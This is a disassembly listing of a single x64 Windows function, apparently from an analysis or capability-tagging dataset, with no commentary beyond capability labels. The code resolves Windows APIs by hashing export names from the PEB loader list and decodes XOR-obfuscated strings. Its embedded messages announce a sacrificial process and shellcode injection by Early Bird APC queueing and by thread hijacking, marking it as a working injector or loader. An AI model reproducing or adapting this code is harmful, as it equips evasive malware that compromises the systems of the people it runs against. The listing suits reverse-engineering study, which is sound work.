Function at 0x14002b710
Capabilities:
Access peb ldr_data
Check os version
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1088
call fcn.14002f0a0
sub rsp, rax
mov rax, qword [0x14007d010]
xor rax, rsp
mov qword [rsp + 0x1080], rax
mov dword [rsp + 0x18c], 0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1e0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0x1e8], rcx
mov rcx, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1e8]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xdd0], rcx
mov rcx, qword [rsp + 0x1e0]
mov edx, dword [rsp + 0xdd0]
add rcx, rdx
mov qword [rax + 8], rcx
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x19c], eax
call fcn.14002f010
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
cmp dword [rax], 0
je 0x14002b936
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x1fc], eax
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rdx]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 0x20]
add rax, rdx
mov edx, dword [rsp + 0x1fc]
mov eax, dword [rax + rdx*4]
add rcx, rax
call fcn.14002f020
mov rcx, qword [rsp + 0x190]
cmp eax, dword [rcx]
jne 0x14002b91d
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x1d4], eax
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x1c8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x1c0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x1b8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1b8]
mov r8d, dword [rsp + 0x1d4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
mov ecx, dword [rax + rcx + 4]
mov rax, qword [rsp + 0x190]
mov dword [rax], ecx
jmp 0x14002b936
mov rax, qword [rsp + 0x190]
add rax, 4
mov qword [rsp + 0x190], rax
jmp 0x14002b82e
cmp dword [rsp + 0x19c], 0
je 0x14002b95a
mov eax, dword [rsp + 0x19c]
add eax, 0xffffffff
mov dword [rsp + 0x19c], eax
jmp 0x14002b821
lea rcx, [rsp + 0xd98]
lea rdx, [rsp + 0x1070]
call fcn.14002eee0
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
movzx eax, word [rax + 8]
cmp eax, 0
je 0x14002ba61
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x224], 0
cmp dword [rsp + 0x224], 5
jge 0x14002ba5c
mov rax, qword [rsp + 0x230]
movsxd rcx, dword [rsp + 0x224]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x224]
mov r8d, 0x3a
cdq
idiv r8d
mov rax, qword [rsp + 0x150]
add edx, 0x38
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x224]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x224]
add eax, 1
mov dword [rsp + 0x224], eax
jmp 0x14002b9f7
jmp 0x14002ba61
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x180], rax
lea rcx, [rsp + 0xd90]
lea rdx, [rsp + 0x1050]
call fcn.14002ef10
lea rax, [rsp + 0x1050]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x14002bb78
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x138], rax
mov dword [rsp + 0x254], 0
cmp dword [rsp + 0x254], 0xd
jge 0x14002bb73
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rsp + 0x254]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x254]
mov r8d, 0x3a
cdq
idiv r8d
mov rax, qword [rsp + 0x138]
add edx, 0x38
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x254]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x254]
add eax, 1
mov dword [rsp + 0x254], eax
jmp 0x14002bb0e
jmp 0x14002bb78
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0xd88]
lea rdx, [rsp + 0x1010]
call fcn.14002ef60
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax + 0x3e]
cmp eax, 0
je 0x14002bc8f
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x284], 0
cmp dword [rsp + 0x284], 0x20
jge 0x14002bc8a
mov rax, qword [rsp + 0x290]
movsxd rcx, dword [rsp + 0x284]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x284]
mov r8d, 0x3a
cdq
idiv r8d
mov rax, qword [rsp + 0x120]
add edx, 0x38
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x284]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x284]
add eax, 1
mov dword [rsp + 0x284], eax
jmp 0x14002bc25
jmp 0x14002bc8f
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0xd80]
lea rdx, [rsp + 0xfe0]
call fcn.14002efb0
lea rax, [rsp + 0xfe0]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
movzx eax, word [rax + 0x28]
cmp eax, 0
je 0x14002bda6
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x374], 0
cmp dword [rsp + 0x374], 0x15
jge 0x14002bda1
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rsp + 0x374]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x374]
mov r8d, 0x3a
cdq
idiv r8d
mov rax, qword [rsp + 0x108]
add edx, 0x38
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x374]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x374]
add eax, 1
mov dword [rsp + 0x374], eax
jmp 0x14002bd3c
jmp 0x14002bda6
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x168], rax
mov eax, dword [section..data]
add eax, 0xffffffff
mov ecx, eax
mov qword [rsp + 0x100], rcx
sub eax, 9
ja 0x14002ee87
mov rax, qword [rsp + 0x100]
lea rcx, [0x14002eeb0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, str.___Launching_a_sacrificial_process_n
mov qword [rsp + 0x390], rax
lea rax, [rsp + 0xd78]
mov qword [rsp + 0x388], rax
lea rax, [rsp + 0xe18]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe18]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x438], rax
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x438]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x438]
mov qword [rsp + 0x440], rcx
mov rcx, qword [rsp + 0x440]
mov rdx, qword [rsp + 0x440]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xe20], rcx
mov rcx, qword [rsp + 0x438]
mov edx, dword [rsp + 0xe20]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xe24]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x428], rax
mov rcx, qword [rsp + 0x428]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002c0ac
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x420]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x39c], eax
mov eax, dword [rsp + 0x39c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x39c], ecx
cmp eax, 0
je 0x14002c0a7
movabs rax, 0x5095177a226ac198
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x39c]
mov dword [rsp + 0x414], eax
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x408], rax
mov r8, qword [rsp + 0x408]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x414]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x3fc], ecx
mov qword [rsp + 0x3f0], rax
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0x3ec], eax
mov rax, qword [rsp + 0x3f0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x3f0], rcx
mov al, byte [rax]
mov byte [rsp + 0x3eb], al
cmp byte [rsp + 0x3eb], 0
je 0x14002c06f
mov cl, byte [rsp + 0x3eb]
mov eax, dword [rsp + 0x3ec]
mov byte [rsp + 0x407], cl
mov dword [rsp + 0x400], eax
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0xfc], eax
movsx eax, byte [rsp + 0x407]
cmp eax, 0x41
jl 0x14002c03b
movsx eax, byte [rsp + 0x407]
cmp eax, 0x5a
jg 0x14002c03b
movsx eax, byte [rsp + 0x407]
or eax, 0x20
mov dword [rsp + 0xf8], eax
jmp 0x14002c04a
movsx eax, byte [rsp + 0x407]
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0xfc]
mov ecx, dword [rsp + 0xf8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x3ec], eax
jmp 0x14002bfaa
mov eax, dword [rsp + 0x3ec]
movabs rcx, 0x5095177a226ac198
mov qword [rsp + 0x3e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x3e0]
cmp eax, ecx
je 0x14002c0e2
jmp 0x14002bf0b
jmp 0x14002c0ac
lea rax, [rsp + 0xe18]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov rcx, qword [rax]
mov qword [rsp + 0x3b8], rcx
mov rcx, qword [rsp + 0x3b8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002be35
mov eax, dword [rsp + 0x39c]
mov dword [rsp + 0x3dc], eax
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x3c8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x3c0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c8]
mov rdx, qword [rsp + 0x3c0]
mov r8d, dword [rsp + 0x3dc]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0x390]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xf0]
call rax
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0xd60]
call fcn.140003de0
mov rax, qword [rsp + 0xd70]
mov qword [rsp + 0xdb0], rax
movups xmm0, xmmword [rsp + 0xd60]
movaps xmmword [rsp + 0xda0], xmm0
lea rax, str._n___Injecting_shellcode_via_Early_Bird_APC_Queue_n
mov qword [rsp + 0x450], rax
lea rax, [rsp + 0xd58]
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe40]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4f8], rax
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
mov rcx, qword [rsp + 0x4f8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4f8]
mov qword [rsp + 0x500], rcx
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x500]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xe48], rcx
mov rcx, qword [rsp + 0x4f8]
mov edx, dword [rsp + 0xe48]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xe4c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x4e8], rax
mov rcx, qword [rsp + 0x4e8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002c491
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x45c], eax
mov eax, dword [rsp + 0x45c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x45c], ecx
cmp eax, 0
je 0x14002c48c
movabs rax, 0x1f3efd26a904002c
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x45c]
mov dword [rsp + 0x4d4], eax
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x4c8], rax
mov r8, qword [rsp + 0x4c8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x4d4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x4bc], ecx
mov qword [rsp + 0x4b0], rax
mov eax, dword [rsp + 0x4bc]
mov dword [rsp + 0x4ac], eax
mov rax, qword [rsp + 0x4b0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x4b0], rcx
mov al, byte [rax]
mov byte [rsp + 0x4ab], al
cmp byte [rsp + 0x4ab], 0
je 0x14002c454
mov cl, byte [rsp + 0x4ab]
mov eax, dword [rsp + 0x4ac]
mov byte [rsp + 0x4c7], cl
mov dword [rsp + 0x4c0], eax
mov eax, dword [rsp + 0x4c0]
mov dword [rsp + 0xec], eax
movsx eax, byte [rsp + 0x4c7]
cmp eax, 0x41
jl 0x14002c420
movsx eax, byte [rsp + 0x4c7]
cmp eax, 0x5a
jg 0x14002c420
movsx eax, byte [rsp + 0x4c7]
or eax, 0x20
mov dword [rsp + 0xe8], eax
jmp 0x14002c42f
movsx eax, byte [rsp + 0x4c7]
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0xec]
mov ecx, dword [rsp + 0xe8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x4ac], eax
jmp 0x14002c38f
mov eax, dword [rsp + 0x4ac]
movabs rcx, 0x1f3efd26a904002c
mov qword [rsp + 0x4a0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x4a0]
cmp eax, ecx
je 0x14002c4c7
jmp 0x14002c2f0
jmp 0x14002c491
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rax]
mov qword [rsp + 0x478], rcx
mov rcx, qword [rsp + 0x478]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c21a
mov eax, dword [rsp + 0x45c]
mov dword [rsp + 0x49c], eax
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x490]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x488], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x480], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x488]
mov rdx, qword [rsp + 0x480]
mov r8d, dword [rsp + 0x49c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0x450]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xe0]
call rax
mov rax, qword [rsp + 0xda0]
mov qword [rsp + 0xd40], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0xd48], rax
mov rax, qword [rsp + 0xdb0]
mov qword [rsp + 0xd50], rax
lea rcx, [rsp + 0xd40]
call fcn.1400055c0
jmp 0x14002ee87
lea rax, str.___Launching_a_sacrificial_process_n
mov qword [rsp + 0x510], rax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x528]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe68]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5b8], rax
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
mov rcx, qword [rsp + 0x5b8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x5b8]
mov qword [rsp + 0x5c0], rcx
mov rcx, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5c0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xe70], rcx
mov rcx, qword [rsp + 0x5b8]
mov edx, dword [rsp + 0xe70]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xe74]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x5a8], rax
mov rcx, qword [rsp + 0x5a8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002c873
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x51c], eax
mov eax, dword [rsp + 0x51c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x51c], ecx
cmp eax, 0
je 0x14002c86e
movabs rax, 0x27b4db6b0e6c559f
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x51c]
mov dword [rsp + 0x594], eax
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x588], rax
mov r8, qword [rsp + 0x588]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x594]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x57c], ecx
mov qword [rsp + 0x570], rax
mov eax, dword [rsp + 0x57c]
mov dword [rsp + 0x56c], eax
mov rax, qword [rsp + 0x570]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x570], rcx
mov al, byte [rax]
mov byte [rsp + 0x56b], al
cmp byte [rsp + 0x56b], 0
je 0x14002c836
mov cl, byte [rsp + 0x56b]
mov eax, dword [rsp + 0x56c]
mov byte [rsp + 0x587], cl
mov dword [rsp + 0x580], eax
mov eax, dword [rsp + 0x580]
mov dword [rsp + 0xdc], eax
movsx eax, byte [rsp + 0x587]
cmp eax, 0x41
jl 0x14002c802
movsx eax, byte [rsp + 0x587]
cmp eax, 0x5a
jg 0x14002c802
movsx eax, byte [rsp + 0x587]
or eax, 0x20
mov dword [rsp + 0xd8], eax
jmp 0x14002c811
movsx eax, byte [rsp + 0x587]
mov dword [rsp + 0xd8], eax
mov eax, dword [rsp + 0xdc]
mov ecx, dword [rsp + 0xd8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x56c], eax
jmp 0x14002c771
mov eax, dword [rsp + 0x56c]
movabs rcx, 0x27b4db6b0e6c559f
mov qword [rsp + 0x560], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x560]
cmp eax, ecx
je 0x14002c8a9
jmp 0x14002c6d2
jmp 0x14002c873
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov rcx, qword [rax]
mov qword [rsp + 0x538], rcx
mov rcx, qword [rsp + 0x538]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c5fc
mov eax, dword [rsp + 0x51c]
mov dword [rsp + 0x55c], eax
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x548], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x540], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x548]
mov rdx, qword [rsp + 0x540]
mov r8d, dword [rsp + 0x55c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0x510]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xd0]
call rax
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0xd20]
call fcn.140003de0
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0xdb0], rax
movups xmm0, xmmword [rsp + 0xd20]
movaps xmmword [rsp + 0xda0], xmm0
lea rax, str._n___Injecting_shellcode_via_Thread_Hijacking_n
mov qword [rsp + 0x5d0], rax
lea rax, [rsp + 0xd18]
mov qword [rsp + 0x5c8], rax
lea rax, [rsp + 0xe90]
mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x5e8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe90]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x678], rax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x678]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x678]
mov qword [rsp + 0x680], rcx
mov rcx, qword [rsp + 0x680]
mov rdx, qword [rsp + 0x680]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xe98], rcx
mov rcx, qword [rsp + 0x678]
mov edx, dword [rsp + 0xe98]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xe9c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x668], rax
mov rcx, qword [rsp + 0x668]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002cc58
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x5dc], eax
mov eax, dword [rsp + 0x5dc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x5dc], ecx
cmp eax, 0
je 0x14002cc53
movabs rax, 0xb610837da4c18bbd
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x5dc]
mov dword [rsp + 0x654], eax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x648], rax
mov r8, qword [rsp + 0x648]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x654]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x63c], ecx
mov qword [rsp + 0x630], rax
mov eax, dword [rsp + 0x63c]
mov dword [rsp + 0x62c], eax
mov rax, qword [rsp + 0x630]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x630], rcx
mov al, byte [rax]
mov byte [rsp + 0x62b], al
cmp byte [rsp + 0x62b], 0
je 0x14002cc1b
mov cl, byte [rsp + 0x62b]
mov eax, dword [rsp + 0x62c]
mov byte [rsp + 0x647], cl
mov dword [rsp + 0x640], eax
mov eax, dword [rsp + 0x640]
mov dword [rsp + 0xcc], eax
movsx eax, byte [rsp + 0x647]
cmp eax, 0x41
jl 0x14002cbe7
movsx eax, byte [rsp + 0x647]
cmp eax, 0x5a
jg 0x14002cbe7
movsx eax, byte [rsp + 0x647]
or eax, 0x20
mov dword [rsp + 0xc8], eax
jmp 0x14002cbf6
movsx eax, byte [rsp + 0x647]
mov dword [rsp + 0xc8], eax
mov eax, dword [rsp + 0xcc]
mov ecx, dword [rsp + 0xc8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x62c], eax
jmp 0x14002cb56
mov eax, dword [rsp + 0x62c]
movabs rcx, 0xb610837da4c18bbd
mov qword [rsp + 0x620], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x620]
cmp eax, ecx
je 0x14002cc8e
jmp 0x14002cab7
jmp 0x14002cc58
lea rax, [rsp + 0xe90]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
mov rcx, qword [rax]
mov qword [rsp + 0x5f8], rcx
mov rcx, qword [rsp + 0x5f8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002c9e1
mov eax, dword [rsp + 0x5dc]
mov dword [rsp + 0x61c], eax
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x608], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x600], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x608]
mov rdx, qword [rsp + 0x600]
mov r8d, dword [rsp + 0x61c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x5e0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x5d0]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xc0]
call rax
mov rax, qword [rsp + 0xda0]
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0xd08], rax
mov rax, qword [rsp + 0xdb0]
mov qword [rsp + 0xd10], rax
lea rcx, [rsp + 0xd00]
call fcn.140008b90
jmp 0x14002ee87
